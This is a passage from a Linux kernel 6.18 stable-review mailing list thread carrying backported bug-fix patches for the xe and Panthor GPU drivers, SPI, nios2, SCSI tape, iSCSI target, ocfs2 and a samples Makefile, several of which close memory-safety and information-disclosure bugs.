ttm_bo_validate() then takes the pipeline-gutting path and returns 0.
Without the fix the xe_dma_buf@xe_test_dmabuf_move_notify_no_resource
dynamic live selftest will fail with below stack.
BUG: kernel NULL pointer dereference, address: 0000000000000010
RIP: 0010:xe_evict_flags+0xf4/0x140 [xe]
Call Trace:
<TASK>
xe_bo_evict+0x40/0xa0 [xe]
? ttm_bo_pipeline_gutting+0x71/0x180 [ttm]
xe_test_dmabuf_move_notify_no_resource+0x182/0x440 [xe]
xe_dma_buf_kunit+0x387/0x580 [xe]
v2: Add Fixes tag and failure info in commit text (Matt Brost)
Fixes: dd08ebf6c352 ("drm/xe: Introduce a new DRM driver for Intel GPUs")
Assisted-by: GitHub-Copilot:claude-opus-4.8
Signed-off-by: Niranjana Vishwanathapura <niranjana.vishwanathapura@intel.com>
Reviewed-by: Tejas Upadhyay <tejas.upadhyay@intel.com>
Link: https://patch.msgid.link/20261012215014.1495677-5-niranjana.vishwanathapura@intel.com
(cherry picked from commit dbcfaac6331f1fcb0c2fe3ad3e9adb1e5d43ec0c)
Signed-off-by: Rodrigo Vivi <rodrigo.vivi@intel.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/gpu/drm/xe/xe_bo.c | 6 ++++++
1 file changed, 6 insertions(+)
diff --git a/drivers/gpu/drm/xe/xe_bo.c b/drivers/gpu/drm/xe/xe_bo.c
index 6d3db1517c8a4..2496b24840be8 100644
--- a/drivers/gpu/drm/xe/xe_bo.c
+++ b/drivers/gpu/drm/xe/xe_bo.c
@@ -313,6 +313,12 @@ static void xe_evict_flags(struct ttm_buffer_object *tbo,
return;
}
+ /* No resource: nothing is placed/mapped, so there is nothing to evict. */
+ if (!tbo->resource) {
+ placement->num_placement = 0;
+ return;
+ }
+
bo = ttm_to_xe_bo(tbo);
if (bo->flags & XE_BO_FLAG_CPU_ADDR_MIRROR) {
*placement = sys_placement;
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 047/193] drm/xe/oa: Zero OA buffer at allocation
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (45 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 046/193] drm/xe: skip eviction of a BO with no resource Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 048/193] spi: tegra114: assert CS GPIO for every transfer in a message Greg Kroah-Hartman
` (156 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Umesh Nerlige Ramappa,
Ghimiray, Himal Prasad, Bommu Krishnaiah, Tejas Upadhyay,
Rodrigo Vivi, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Bommu Krishnaiah <krishnaiah.bommu@intel.com>
[ Upstream commit fd8662823caa114a63f07222d2aa448f6ac5e864 ]
ttm_bo_type_kernel BOs are not guaranteed to be zeroed on allocation and
may contain data from previously freed pages. Since the OA buffer is
mmap'able by userspace, this can expose stale kernel memory contents.
Streams opened with DRM_XE_OA_PROPERTY_OA_DISABLED allocate the OA
buffer without calling xe_oa_init_oa_buffer(). Zero the buffer at
allocation to prevent information disclosure through mmap.
The existing zeroing in xe_oa_init_oa_buffer() remains necessary for
zero report-id/timestamp detection on enable/re-enable.
Fixes: 392bf22238ff ("drm/xe/oa/uapi: OA buffer mmap")
Assisted-by: LLM
Cc: Umesh Nerlige Ramappa <umesh.nerlige.ramappa@intel.com>
Cc: Ghimiray, Himal Prasad <himal.prasad.ghimiray@intel.com>
Signed-off-by: Bommu Krishnaiah <krishnaiah.bommu@intel.com>
Reviewed-by: Himal Prasad Ghimiray <himal.prasad.ghimiray@intel.com>
Reviewed-by: Umesh Nerlige Ramappa <umesh.nerlige.ramappa@intel.com>
Reviewed-by: Tejas Upadhyay <tejas.upadhyay@intel.com>
Link: https://patch.msgid.link/20261006020314.2711762-1-krishnaiah.bommu@intel.com
Signed-off-by: Tejas Upadhyay <tejas.upadhyay@intel.com>
(cherry picked from commit 126c4c5388f9311a390b9b254a835b0cf0f55331)
Signed-off-by: Rodrigo Vivi <rodrigo.vivi@intel.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/gpu/drm/xe/xe_oa.c | 7 +++++++
1 file changed, 7 insertions(+)
diff --git a/drivers/gpu/drm/xe/xe_oa.c b/drivers/gpu/drm/xe/xe_oa.c
index a753ac7ecc860..b88d3d39aea66 100644
--- a/drivers/gpu/drm/xe/xe_oa.c
+++ b/drivers/gpu/drm/xe/xe_oa.c
@@ -893,6 +893,13 @@ static int xe_oa_alloc_oa_buffer(struct xe_oa_stream *stream, size_t size)
if (IS_ERR(bo))
return PTR_ERR(bo);
+ /*
+ * ttm_bo_type_kernel BOs are not zeroed on allocation, so the buffer can
+ * hold stale data from previously freed pages. Since the OA buffer is
+ * mmap'able by userspace, clear it here to avoid leaking kernel memory.
+ */
+ xe_map_memset(stream->oa->xe, &bo->vmap, 0, 0, xe_bo_size(bo));
+
stream->oa_buffer.bo = bo;
/* mmap implementation requires OA buffer to be in system memory */
xe_assert(stream->oa->xe, bo->vmap.is_iomem == 0);
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 048/193] spi: tegra114: assert CS GPIO for every transfer in a message
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (46 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 047/193] drm/xe/oa: Zero OA buffer at allocation Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 049/193] nios2: fix __wsum type degradation in csum_fold() Greg Kroah-Hartman
` (155 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Carlos Jones Jr, Mark Brown,
Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Carlos Jones Jr <carlosjr.jones@analog.com>
[ Upstream commit 8980bc573ae2d2b9d86d76aeb86c76e1597070bf ]
The driver provides its own transfer_one_message() and therefore drives
the chip-select GPIO itself rather than through the SPI core. The GPIO is
asserted only in the is_first_of_msg path of
tegra_spi_setup_transfer_one(), but tegra_spi_transfer_end() deasserts it
whenever a transfer has cs_change set. For a multi-transfer message whose
earlier transfers request cs_change -- for example a register read that
sends the address in one transfer and clocks the data back in the next --
the CS GPIO is released after the first transfer and never re-asserted,
so the remaining transfers are clocked with chip-select inactive and the
peripheral never drives the bus.
This was observed with an ADIS16470 IMU (adis16475 driver), whose
register read is a two-transfer, cs_change-framed exchange: a logic
analyzer showed the data frame clocked with CS high, and the driver read
0 while the device drove 0x4056 on the wire.
Re-assert the CS GPIO for every transfer so that multi-transfer messages
keep chip-select active across the whole message. gpiod_set_value() is
idempotent and polarity-aware, so this is a no-op for the first transfer
and for messages that keep CS asserted throughout.
Fixes: 63c1440596ff ("spi: tegra114: add support for gpio based CS")
Signed-off-by: Carlos Jones Jr <carlosjr.jones@analog.com>
Link: https://patch.msgid.link/20261002085540.1625-1-carlosjr.jones@analog.com
Signed-off-by: Mark Brown <broonie@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/spi/spi-tegra114.c | 7 +++++++
1 file changed, 7 insertions(+)
diff --git a/drivers/spi/spi-tegra114.c b/drivers/spi/spi-tegra114.c
index a28597b6b80d6..b696c34d83de3 100644
--- a/drivers/spi/spi-tegra114.c
+++ b/drivers/spi/spi-tegra114.c
@@ -859,6 +859,13 @@ static u32 tegra_spi_setup_transfer_one(struct spi_device *spi,
command1 |= SPI_BIT_LENGTH(bits_per_word - 1);
}
+ /*
+ * Re-assert the CS GPIO for every transfer: transfer_end() drops it
+ * on cs_change, and the assert above only covers is_first_of_msg.
+ */
+ if (spi_get_csgpiod(spi, 0))
+ gpiod_set_value(spi_get_csgpiod(spi, 0), 1);
+
return command1;
}
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 049/193] nios2: fix __wsum type degradation in csum_fold()
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (47 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 048/193] spi: tegra114: assert CS GPIO for every transfer in a message Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 050/193] scsi: st: Save the visited block for the partition the drive is in Greg Kroah-Hartman
` (154 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, kernel test robot, Keith Busch,
Dinh Nguyen, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Keith Busch <kbusch@kernel.org>
[ Upstream commit b963f2345fa20417401c51a69dedb6a58eea33a9 ]
csum_fold() shifts a bitwise __wsum type, which sparse reports as
"restricted __wsum degrades to integer". Sparse only checks the body of
a static inline once something instantiates it, so this went unnoticed
until a recent block layer change added the first csum_fold() caller to
a file built on this architecture.
Force cast to a __u32 for the shift, as the other architectures do.
Fixes: eea9507a69d6 ("nios2: Library functions")
Reported-by: kernel test robot <lkp@intel.com>
Closes: https://lore.kernel.org/oe-kbuild-all/202609222053.5gjiJjtb-lkp@intel.com/
Signed-off-by: Keith Busch <kbusch@kernel.org>
Signed-off-by: Dinh Nguyen <dinguyen@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
arch/nios2/include/asm/checksum.h | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/arch/nios2/include/asm/checksum.h b/arch/nios2/include/asm/checksum.h
index 69004e07a1ba3..b6b415ae17a08 100644
--- a/arch/nios2/include/asm/checksum.h
+++ b/arch/nios2/include/asm/checksum.h
@@ -27,7 +27,7 @@ static inline __sum16 csum_fold(__wsum sum)
"add %0, %0, r8\n"
"nor %0, %0, %0\n"
: "=r" (sum)
- : "r" (sum << 16), "0" (sum)
+ : "r" ((__force u32)sum << 16), "0" (sum)
: "r8");
return (__force __sum16) sum;
}
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 050/193] scsi: st: Save the visited block for the partition the drive is in
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (48 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 049/193] nios2: fix __wsum type degradation in csum_fold() Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 051/193] scsi: target: iscsi: Fix race in discovery auth updates Greg Kroah-Hartman
` (153 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Laurence Oberman,
Martin K. Petersen (Oracle), Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Laurence Oberman <loberman@redhat.com>
[ Upstream commit c9e9f024dd4f61f0f6636c9f2ed0830f87060e11 ]
set_location() saves the current tape location before switching
partitions, so that switch_partition() can return to it later. It reads
the location with READ POSITION but stores it in the st_partstat of
STp->partition, ignoring the partition the drive reports.
The two differ after a device reset. When the reset is recovered with
MTREW, MTSEEK or MTEOM, st_ioctl() sets STp->partition = 0 and calls
switch_partition() to return to STp->new_partition. A drive that was in
partition 1 is still there, so set_location() files the partition 1
position under partition 0. The next switch to partition 0 locates to
that block: if partition 0 holds less data, MTSETPART fails with EIO
(BLANK CHECK), otherwise the tape is silently positioned at the wrong
block.
IBM ULTRIUM-TD5 (LTO-5), LU reset in partition 1 at block 1025:
st 12:0:0:0: [st0] Visited block 1025 for partition 0 saved.
...
st 12:0:0:0: [st0] Setting block to 1025 and partition to 0.
st 12:0:0:0: [st0] Error: 402, cmd: 2b 2 0 0 0 4
st 12:0:0:0: [st0] Sense Key : Blank Check [current]
st 12:0:0:0: [st0] Add. Sense: End-of-data detected
Store the location in the st_partstat of the partition reported by READ
POSITION. With the fix:
st 12:0:0:0: [st0] Visited block 1025 for partition 1 saved.
This is a pre-existing issue. It was not caught when testing the recent
st reset series because the partition test was only run on scsi_debug:
on the LTO drive it was skipped, since can-partitions is off in the test
harness's stinit.conf, as is normal for LTO. scsi_debug hides the
problem because its emulated tape returns to the beginning of partition
0 on an LU reset. It was found while validating a backport of that
series to RHEL 9.8, when the partition tests were run on real hardware
with can-partitions enabled. The same failure then reproduced on
unmodified RHEL 9.8 and on upstream, and the fix makes the test pass on
v7.3-rc3 and RHEL 9.8 with an LTO-5.
The harness (https://gitlab.com/loberman/tapetest, test X03) now refuses
to silently skip the partition tests on hardware.
Fixes: 7081dc75df79 ("scsi: st: Restore some drive settings after reset")
Assisted-by: Claude
Signed-off-by: Laurence Oberman <loberman@redhat.com>
Link: https://patch.msgid.link/20261006164250.773840-1-loberman@redhat.com
Signed-off-by: Martin K. Petersen (Oracle) <mkp@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/scsi/st.c | 14 ++++++++++----
1 file changed, 10 insertions(+), 4 deletions(-)
diff --git a/drivers/scsi/st.c b/drivers/scsi/st.c
index 74a6830b7ed8e..b107d50c542c7 100644
--- a/drivers/scsi/st.c
+++ b/drivers/scsi/st.c
@@ -3216,14 +3216,20 @@ static int set_location(struct scsi_tape *STp, unsigned int block, int partition
partition >= ST_NBR_PARTITIONS)
return (-EINVAL);
if (partition != STp->partition) {
- if (get_location(STp, &blk, &p, 1))
+ /*
+ * Save the location for the partition the drive reports,
+ * not for STp->partition: after a reset STp->partition may
+ * not match the partition the drive is in.
+ */
+ if (get_location(STp, &blk, &p, 1) ||
+ p < 0 || p >= ST_NBR_PARTITIONS)
STps->last_block_valid = 0;
else {
- STps->last_block_valid = 1;
- STps->last_block_visited = blk;
+ STp->ps[p].last_block_valid = 1;
+ STp->ps[p].last_block_visited = blk;
DEBC_printk(STp, "Visited block %d for "
"partition %d saved.\n",
- blk, STp->partition);
+ blk, p);
}
}
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 051/193] scsi: target: iscsi: Fix race in discovery auth updates
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (49 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 050/193] scsi: st: Save the visited block for the partition the drive is in Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 052/193] drm/panthor: fix immortalis condition Greg Kroah-Hartman
` (152 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Linfeng Sun, Mike Christie,
Martin K. Petersen (Oracle), Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Linfeng Sun <linfeng.sun.dev@gmail.com>
[ Upstream commit e15b81f602edbdee39c335546f25486a1747f3f0 ]
Separate configfs opens can concurrently update the discovery AuthMethod
parameter. Both callers may free the same value in
iscsi_update_param_value(), causing a double-free.
Protect the lookup and replacement with the discovery TPG access lock,
as used by the other TPG configfs parameter updates.
Fixes: e48354ce078c ("iscsi-target: Add iSCSI fabric support for target v4.1")
Signed-off-by: Linfeng Sun <linfeng.sun.dev@gmail.com>
Reviewed-by: Mike Christie <michael.christie@oracle.com>
Link: https://patch.msgid.link/20260811124843.6817-1-linfeng.sun.dev@gmail.com
Signed-off-by: Martin K. Petersen (Oracle) <mkp@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/target/iscsi/iscsi_target_configfs.c | 26 ++++++++++++++------
1 file changed, 19 insertions(+), 7 deletions(-)
diff --git a/drivers/target/iscsi/iscsi_target_configfs.c b/drivers/target/iscsi/iscsi_target_configfs.c
index efe8cdb200609..3b4e7a8d3d317 100644
--- a/drivers/target/iscsi/iscsi_target_configfs.c
+++ b/drivers/target/iscsi/iscsi_target_configfs.c
@@ -1306,17 +1306,24 @@ static ssize_t iscsi_disc_enforce_discovery_auth_store(struct config_item *item,
return -EINVAL;
}
+ if (iscsit_get_tpg(discovery_tpg) < 0)
+ return -EINVAL;
+
param = iscsi_find_param_from_key(AUTHMETHOD,
discovery_tpg->param_list);
- if (!param)
- return -EINVAL;
+ if (!param) {
+ err = -EINVAL;
+ goto out;
+ }
if (op) {
/*
* Reset the AuthMethod key to CHAP.
*/
- if (iscsi_update_param_value(param, CHAP) < 0)
- return -EINVAL;
+ if (iscsi_update_param_value(param, CHAP) < 0) {
+ err = -EINVAL;
+ goto out;
+ }
discovery_tpg->tpg_attrib.authentication = 1;
iscsit_global->discovery_acl.node_auth.enforce_discovery_auth = 1;
@@ -1327,8 +1334,10 @@ static ssize_t iscsi_disc_enforce_discovery_auth_store(struct config_item *item,
/*
* Reset the AuthMethod key to CHAP,None
*/
- if (iscsi_update_param_value(param, "CHAP,None") < 0)
- return -EINVAL;
+ if (iscsi_update_param_value(param, "CHAP,None") < 0) {
+ err = -EINVAL;
+ goto out;
+ }
discovery_tpg->tpg_attrib.authentication = 0;
iscsit_global->discovery_acl.node_auth.enforce_discovery_auth = 0;
@@ -1337,7 +1346,10 @@ static ssize_t iscsi_disc_enforce_discovery_auth_store(struct config_item *item,
" Discovery TPG\n");
}
- return count;
+ err = count;
+out:
+ iscsit_put_tpg(discovery_tpg);
+ return err;
}
CONFIGFS_ATTR(iscsi_disc_, enforce_discovery_auth);
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 052/193] drm/panthor: fix immortalis condition
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (50 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 051/193] scsi: target: iscsi: Fix race in discovery auth updates Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 053/193] ocfs2/dlm: Protect the recovery list during debugfs reads Greg Kroah-Hartman
` (151 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Erik Faye-Lund, Liviu Dudau,
Boris Brezillon, Steven Price, Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Erik Faye-Lund <erik.faye-lund@arm.com>
[ Upstream commit c347fef5f8f8927985bd67835331ce4cf7ff43a4 ]
Exactly 10 cores is also valid for an Immortalis configuration,
according to the public documentation:
https://support.arm.com/compute-ip/immortalis-g715
So let's report this G715 with 10 cores as Immortalis as well, as long
as it supports the ray-intersection feature. This matches what we do for
more recent GPUs as well.
Fixes: 3b1dc21d6d80 ("drm/panthor: Add support for Mali-Gx15 family of GPUs")
Signed-off-by: Erik Faye-Lund <erik.faye-lund@arm.com>
Reviewed-by: Liviu Dudau <liviu.dudau@arm.com>
Reviewed-by: Boris Brezillon <boris.brezillon@collabora.com>
Reviewed-by: Steven Price <steven.price@arm.com>
Link: https://patch.msgid.link/20261014070902.169273-1-erik.faye-lund@arm.com
Signed-off-by: Steven Price <steven.price@arm.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/gpu/drm/panthor/panthor_hw.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/drivers/gpu/drm/panthor/panthor_hw.c b/drivers/gpu/drm/panthor/panthor_hw.c
index 4f2858114e5ea..9a567e4f0956b 100644
--- a/drivers/gpu/drm/panthor/panthor_hw.c
+++ b/drivers/gpu/drm/panthor/panthor_hw.c
@@ -27,7 +27,7 @@ static char *get_gpu_model_name(struct panthor_device *ptdev)
case GPU_PROD_ID_MAKE(10, 7):
return "Mali-G610";
case GPU_PROD_ID_MAKE(11, 2):
- if (shader_core_count > 10 && ray_intersection)
+ if (shader_core_count >= 10 && ray_intersection)
return "Mali-G715-Immortalis";
else if (shader_core_count >= 7)
return "Mali-G715";
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 053/193] ocfs2/dlm: Protect the recovery list during debugfs reads
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (51 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 052/193] drm/panthor: fix immortalis condition Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 054/193] samples: pidfd: fix userprogs typo Greg Kroah-Hartman
` (150 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Cen Zhang, Joseph Qi,
Christian Brauner (Amutable), Sasha Levin
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Cen Zhang <zzzccc427@gmail.com>
[ Upstream commit 4c435828932bf46f29860e4a0375bcae101b778a ]
Recovery participant records must remain alive while debug_state_print()
walks reco.node_data and formats their fields. The formatter holds
dlm->spinlock, but the recovery participant list is protected by
dlm_reco_state_lock. In particular, dlm_destroy_recovery_area() detaches
the list under dlm_reco_state_lock and frees the detached records after
releasing it. A concurrent debugfs open can therefore read freed memory.
Protect the participant traversal and field reads in debug_state_print()
with dlm_reco_state_lock, matching the existing list writers. This also
serializes the traversal against list_add_tail() during recovery-area
initialization. Make the existing lock available to the debug code
through dlmcommon.h; the lock remains internal to the OCFS2 DLM module.
Release dlm->spinlock after formatting the other domain state and before
acquiring dlm_reco_state_lock, so the debug reader does not nest the two
locks. Leave recovery list insertion, detachment and freeing unchanged.
KASAN report as below:
BUG: KASAN: slab-use-after-free in debug_state_open+0x1169/0x12d0
Read of size 4 at addr ffff88810662ef80 by task dlm-state-stres/896
CPU: 1 UID: 0 PID: 896 Comm: dlm-state-stres Not tainted 7.3.0-rc4-next-20260921-pmb-ocfs2-functional-v1+ #1 PREEMPT(lazy)
Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
Call Trace:
<TASK>
dump_stack_lvl+0x93/0xd0
print_report+0xce/0x630
? debug_state_open+0x1169/0x12d0
? srso_alias_return_thunk+0x5/0xfbef5
? __virt_addr_valid+0x20e/0x420
? debug_state_open+0x1169/0x12d0
kasan_report+0xe0/0x110
? debug_state_open+0x1169/0x12d0
debug_state_open+0x1169/0x12d0
? __pfx_debug_state_open+0x10/0x10
full_proxy_open_regular+0x193/0x310
do_dentry_open+0x595/0x12d0
? __pfx_full_proxy_open_regular+0x10/0x10
vfs_open_consume+0xd1/0x400
? srso_alias_return_thunk+0x5/0xfbef5
path_openat+0x18d0/0x2020
? __pfx_path_openat+0x10/0x10
do_file_open+0x21e/0x470
? __pfx_do_file_open+0x10/0x10
? _raw_spin_unlock+0x23/0x40
? srso_alias_return_thunk+0x5/0xfbef5
? alloc_fd+0x3a6/0x6b0
do_sys_openat2+0xf4/0x1b0
? __pfx_do_sys_openat2+0x10/0x10
? srso_alias_return_thunk+0x5/0xfbef5
? __fput+0x5b5/0xa60
__x64_sys_openat+0x136/0x1e0
? __pfx___x64_sys_openat+0x10/0x10
do_syscall_64+0x114/0x620
entry_SYSCALL_64_after_hwframe+0x77/0x7f
[Register dump omitted.]
</TASK>
Allocated by task 880:
kasan_save_stack+0x33/0x60
kasan_save_track+0x14/0x30
__kasan_kmalloc+0xaa/0xb0
__kmalloc_cache_noprof+0x28d/0x610
dlm_remaster_locks+0x147/0x1d90
dlm_do_recovery+0xde1/0x1580
dlm_recovery_thread+0x109/0x300
kthread+0x351/0x460
ret_from_fork+0x659/0x940
ret_from_fork_asm+0x1a/0x30
Freed by task 880:
kasan_save_stack+0x33/0x60
kasan_save_track+0x14/0x30
kasan_save_free_info+0x3b/0x60
__kasan_slab_free+0x5f/0x80
kfree+0x308/0x580
dlm_destroy_recovery_area+0x285/0x460
dlm_remaster_locks+0x17c4/0x1d90
dlm_do_recovery+0xde1/0x1580
dlm_recovery_thread+0x109/0x300
kthread+0x351/0x460
ret_from_fork+0x659/0x940
ret_from_fork_asm+0x1a/0x30
The buggy address belongs to the object at ffff88810662ef80
which belongs to the cache kmalloc-32 of size 32
The buggy address is located 0 bytes inside of
freed 32-byte region [ffff88810662ef80, ffff88810662efa0)
[Page and memory-state dumps omitted.]
Fixes: 007dce53a29c ("ocfs2/dlm: Dump the dlm state in a debugfs file")
Signed-off-by: Cen Zhang <zzzccc427@gmail.com>
Link: https://patch.msgid.link/pm-ocfs2-objects-candidate-0049-v3-184e46c47f5283f06191@gmail.com
Reviewed-by: Joseph Qi <joseph.qi@linux.alibaba.com>
Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
fs/ocfs2/dlm/dlmcommon.h | 2 ++
fs/ocfs2/dlm/dlmdebug.c | 5 ++++-
fs/ocfs2/dlm/dlmrecovery.c | 2 +-
3 files changed, 7 insertions(+), 2 deletions(-)
diff --git a/fs/ocfs2/dlm/dlmcommon.h b/fs/ocfs2/dlm/dlmcommon.h
index 20f790a47484a..58b28dfa8d34e 100644
--- a/fs/ocfs2/dlm/dlmcommon.h
+++ b/fs/ocfs2/dlm/dlmcommon.h
@@ -435,6 +435,8 @@ enum {
DLM_DEREF_LOCKRES_DONE = 522,
};
+extern spinlock_t dlm_reco_state_lock;
+
struct dlm_reco_node_data
{
int state;
diff --git a/fs/ocfs2/dlm/dlmdebug.c b/fs/ocfs2/dlm/dlmdebug.c
index 5645673586201..38a6a99603a9c 100644
--- a/fs/ocfs2/dlm/dlmdebug.c
+++ b/fs/ocfs2/dlm/dlmdebug.c
@@ -740,8 +740,11 @@ static int debug_state_print(struct dlm_ctxt *dlm, char *buf, int len)
buf + out, len - out);
out += scnprintf(buf + out, len - out, "\n");
+ spin_unlock(&dlm->spinlock);
+
/* Recovery Node State: */
out += scnprintf(buf + out, len - out, "Recovery Node State:\n");
+ spin_lock(&dlm_reco_state_lock);
list_for_each_entry(node, &dlm->reco.node_data, list) {
switch (node->state) {
case DLM_RECO_NODE_DATA_INIT:
@@ -773,7 +776,7 @@ static int debug_state_print(struct dlm_ctxt *dlm, char *buf, int len)
node->node_num, state);
}
- spin_unlock(&dlm->spinlock);
+ spin_unlock(&dlm_reco_state_lock);
return out;
}
diff --git a/fs/ocfs2/dlm/dlmrecovery.c b/fs/ocfs2/dlm/dlmrecovery.c
index 2379225f0ee69..a55787282eaf0 100644
--- a/fs/ocfs2/dlm/dlmrecovery.c
+++ b/fs/ocfs2/dlm/dlmrecovery.c
@@ -80,7 +80,7 @@ static int dlm_lockres_master_requery(struct dlm_ctxt *dlm,
static u64 dlm_get_next_mig_cookie(void);
-static DEFINE_SPINLOCK(dlm_reco_state_lock);
+DEFINE_SPINLOCK(dlm_reco_state_lock);
static DEFINE_SPINLOCK(dlm_mig_cookie_lock);
static u64 dlm_mig_cookie = 1;
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 054/193] samples: pidfd: fix userprogs typo
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (52 preceding siblings ...)
2026-10-23 16:35 ` [PATCH 6.18 053/193] ocfs2/dlm: Protect the recovery list during debugfs reads Greg Kroah-Hartman
@ 2026-10-23 16:35 ` Greg Kroah-Hartman
2026-10-23 16:35 ` [PATCH 6.18 055/193] pipe: preserve existing fasync readers on writer setup failure Greg Kroah-Hartman
` (149 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:35 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Sasha Levin, Christian Brauner
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
[ Upstream commit f1365f97fb7498d805981102eee22d362ae643f2 ]
The Makefile adds pidfd-metadata to "usertprogs-always-y", which kbuild
does not know, so the sample has not been built since the conversion to
userprogs, even with CONFIG_SAMPLE_PIDFD=y.
Fix the variable name. pidfd-metadata.c builds without warnings with
gcc and clang for x86_64 and arm64.
Fixes: 60fb0b1239719 ("samples: pidfd: build sample program for target architecture")
Signed-off-by: Sasha Levin <sashal@kernel.org>
Link: https://patch.msgid.link/20261011223358.2327625-14-sashal@kernel.org
Reviewed-by: Christian Brauner <brauner@kernel.org>
Signed-off-by: Christian Brauner (Amutable) <brauner@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
samples/pidfd/Makefile | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/samples/pidfd/Makefile b/samples/pidfd/Makefile
index 9754e2d81f70d..d82409f7061f3 100644
--- a/samples/pidfd/Makefile
+++ b/samples/pidfd/Makefile
@@ -1,4 +1,4 @@
# SPDX-License-Identifier: GPL-2.0
-usertprogs-always-y += pidfd-metadata
+userprogs-always-y += pidfd-metadata
userccflags += -I usr/include
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 055/193] pipe: preserve existing fasync readers on writer setup failure
